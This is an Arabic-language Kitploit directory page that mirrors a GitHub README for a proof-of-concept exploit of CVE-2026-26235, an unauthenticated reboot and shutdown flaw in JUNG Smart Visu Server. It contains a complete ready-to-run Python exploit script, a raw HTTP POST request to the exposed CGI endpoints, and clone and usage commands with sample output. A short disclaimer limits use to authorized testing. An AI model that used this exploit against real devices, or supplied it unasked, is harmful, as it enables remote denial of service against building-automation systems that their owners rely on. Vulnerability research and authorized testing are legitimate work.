Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown
أمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubmbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown

CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown

إثبات مفهوم لاستغلال CVE-2026-26235، وهي ثغرة رفض خدمة غير مصادق عليها في JUNG Smart Visu Server <=1.1.1050، تسمح بإعادة تشغيل أو إيقاف تشغيل الجهاز عن بُعد عبر نقاط نهاية CGI مكشوفة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
8منذ 7 أشهرلم تتم المراجعة بعد

👤 المؤلف

محمد إدريس بني عامر

  • 📍 البلد: الأردن
  • 📸 إنستغرام: @banyamer_security

Python Version CVE CVSS CWE Author

إثبات المفهوم لاستغلال CVE-2026-26235 - رفض الخدمة غير المصادق عليه عبر غياب المصادقة في JUNG Smart Visu Server ≤ 1.1.1050.


🚨 وصف الثغرة

CVE-2026-26235 هي ثغرة رفض خدمة غير مصادق عليها في JUNG Smart Visu Server الإصدارات ≤ 1.1.1050. يفشل المنتج في تطبيق المصادقة على وظائف إدارة النظام الحرجة، مما يسمح للمهاجمين عن بُعد بإعادة تشغيل الخادم أو إيقاف تشغيله بطلب POST واحد.

النقطتان /cgi-bin/reboot.sh و /cgi-bin/shutdown.sh مكشوفتان دون أي فحوصات مصادقة. لا يلزم وجود رموز جلسة أو مفاتيح API أو بيانات اعتماد لتفعيل هذه الأوامر على مستوى النظام.

يسمح هذا بـ:

  • إعادة تشغيل/إيقاف تشغيل النظام دون مصادقة
  • لا يتطلب أي تفاعل من المستخدم
  • انقطاع كامل للخدمة
  • رفض خدمة مستمر

🎯 الإصدارات المتأثرة

الحالةالإصدار
❌ قابل للاستغلالJUNG Smart Visu Server ≤ 1.1.1050
✅ تم التصحيحلم يُصدر بعد

تم الاختبار على: JUNG Smart Visu Server 1.1.1050، Embedded Linux


💥 الأثر


🔬 التفاصيل الفنية

السبب الجذري

  1. غياب المصادقة - CWE-306: لا يقوم المنتج بأي مصادقة للوظائف الحرجة للنظام
  2. نقاط CGI مكشوفة - /cgi-bin/reboot.sh و /cgi-bin/shutdown.sh متاحتان للعموم
  3. لا تحقق من الجلسة - لا يحدث أي تحقق من ملفات تعريف الارتباط أو الرموز أو بيانات الاعتماد
  4. تنفيذ مباشر لأوامر النظام - تنفذ سكربتات CGI أوامر إعادة التشغيل/الإيقاف دون فحوصات صلاحيات

تدفق الثغرة

root@kitploit:~
Attacker → POST /cgi-bin/reboot.sh → No Authentication Check → System Reboot → DoS
Attacker → POST /cgi-bin/shutdown.sh → No Authentication Check → System Shutdown → DoS

🛠️ إثبات المفهوم

سكربت الاستغلال بلغة بايثون

root@kitploit:~
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)

import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_banner():
    print("\n" + "="*60)
    print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
    print(" CVE-2026-26235 | CWE-306")
    print("="*60 + "\n")

def exploit(target, action="reboot", verify_ssl=False, timeout=10):
    endpoints = {
        "reboot": "/cgi-bin/reboot.sh",
        "shutdown": "/cgi-bin/shutdown.sh"
    }
    
    if action not in endpoints:
        print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
        return False
    
    url = f"{target.rstrip('/')}{endpoints[action]}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Cache-Control": "max-age=0",
        "Origin": target.rstrip('/'),
        "Referer": f"{target.rstrip('/')}/",
        "DNT": "1",
        "Sec-GPC": "1"
    }
    
    print(f"[*] Target      : {url}")
    print(f"[*] Action      : {action.upper()}")
    print(f"[*] SSL Verify  : {verify_ssl}")
    print("[*] Sending unauthenticated POST request...\n")
    
    try:
        response = requests.post(
            url, 
            headers=headers,
            data="",  
            verify=verify_ssl,
            timeout=timeout,
            allow_redirects=False
        )
        
        print(f"[+] Request sent successfully!")
        print(f"[+] HTTP Status : {response.status_code}")
        
        if response.status_code == 200:
            print("[!] Server responded with 200 OK - action likely executed")
        elif response.status_code == 302 or response.status_code == 301:
            print("[!] Server responded with redirect - action may have been triggered")
        else:
            print(f"[?] Unexpected response code: {response.status_code}")
        
        if response.text:
            print(f"[*] Response preview: {response.text[:200].strip()}")
        
        print("\n[!] If successful, the target server should now be restarting or shutting down.")
        return True
        
    except requests.exceptions.Timeout:
        print("[-] Connection timeout. The server may be down or unreachable.")
        print("[*] This could indicate successful DoS if the server was previously reachable.")
        return True
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")
        print("[*] The server may have gone down - possibly successful exploitation.")
        return True
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
    )
    parser.add_argument(
        "target",
        help="Target server URL (e.g., https://192.168.1.100:8080)"
    )
    parser.add_argument(
        "-a", "--action",
        choices=["reboot", "shutdown"],
        default="reboot",
        help="Action to perform: reboot or shutdown (default: reboot)"
    )
    parser.add_argument(
        "-k", "--insecure",
        action="store_false",
        dest="verify_ssl",
        default=False,
        help="Disable SSL certificate verification (default: disabled)"
    )
    parser.add_argument(
        "-t", "--timeout",
        type=int,
        default=10,
        help="Request timeout in seconds (default: 10)"
    )
    
    args = parser.parse_args()
    
    print(f"[*] Starting exploit against: {args.target}\n")
    
    success = exploit(
        target=args.target,
        action=args.action,
        verify_ssl=args.verify_ssl,
        timeout=args.timeout
    )
    
    if success:
        print("\n[+] Exploit completed successfully.")
    else:
        print("\n[-] Exploit failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

طلب HTTP خام

root@kitploit:~
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0


📦 التثبيت

root@kitploit:~
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py

🚀 الاستخدام

إعادة تشغيل أساسية

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080

إيقاف التشغيل

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -a shutdown

تعطيل التحقق من SSL

root@kitploit:~
python3 CVE-2026-26235.py https://smartvisu.local -k

مهلة مخصصة

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -t 15

المساعدة

root@kitploit:~
python3 CVE-2026-26235.py -h

المخرجات المتوقعة

root@kitploit:~
============================================================
 JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC
 CVE-2026-26235 | CWE-306
============================================================

[*] Starting exploit against: https://192.168.1.100:8080

[*] Target      : https://192.168.1.100:8080/cgi-bin/reboot.sh
[*] Action      : REBOOT
[*] SSL Verify  : False
[*] Sending unauthenticated POST request...

[+] Request sent successfully!
[+] HTTP Status : 200
[!] Server responded with 200 OK - action likely executed

[!] If successful, the target server should now be restarting.
[+] Exploit completed successfully.

📚 المراجع

  • VulnCheck Advisory
  • Zero Science Lab - ZSL-2026-5971
  • CWE-306: Missing Authentication for Critical Function
  • NVD - CVE-2026-26235 (قيد الانتظار)

👤 المؤلف

محمد إدريس بني عامر

  • 📍 البلد: الأردن
  • 📸 إنستغرام: @banyamer_security
  • 🐙 GitHub: banyamer-security
  • 🔗 LinkedIn: Mohammed Banyamer
  • 📧 البريد الإلكتروني: [email protected]

⚠️ إخلاء المسؤولية

إثبات المفهوم هذا للاستغلال مُقدَّم لأغراض تعليمية واختبارات أمنية مصرح بها فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.

الاختبار غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني.


📄 الترخيص

MIT License

Copyright (c) 2026 Mohammed Idrees Banyamer

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


⭐ الدعم

إذا ساعدك هذا الاستغلال في بحثك أو اختباراتك:

  • ⭐ قم بتمييز هذا المستودع بنجمة
  • 🔁 شاركه مع باحثين آخرين
  • 📢 تابع @banyamer_security على إنستغرام

Responsible Disclosure • Security Research • CVE-2026-26235

تنزيل الأداة
المتجهالوصف
CVSS v48.7 (عالٍ) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
المصادقةلا شيء - غير مصادق عليه تمامًا
متجه الهجومالشبكة
التعقيدمنخفض
الأثرأثر عالٍ على التوافر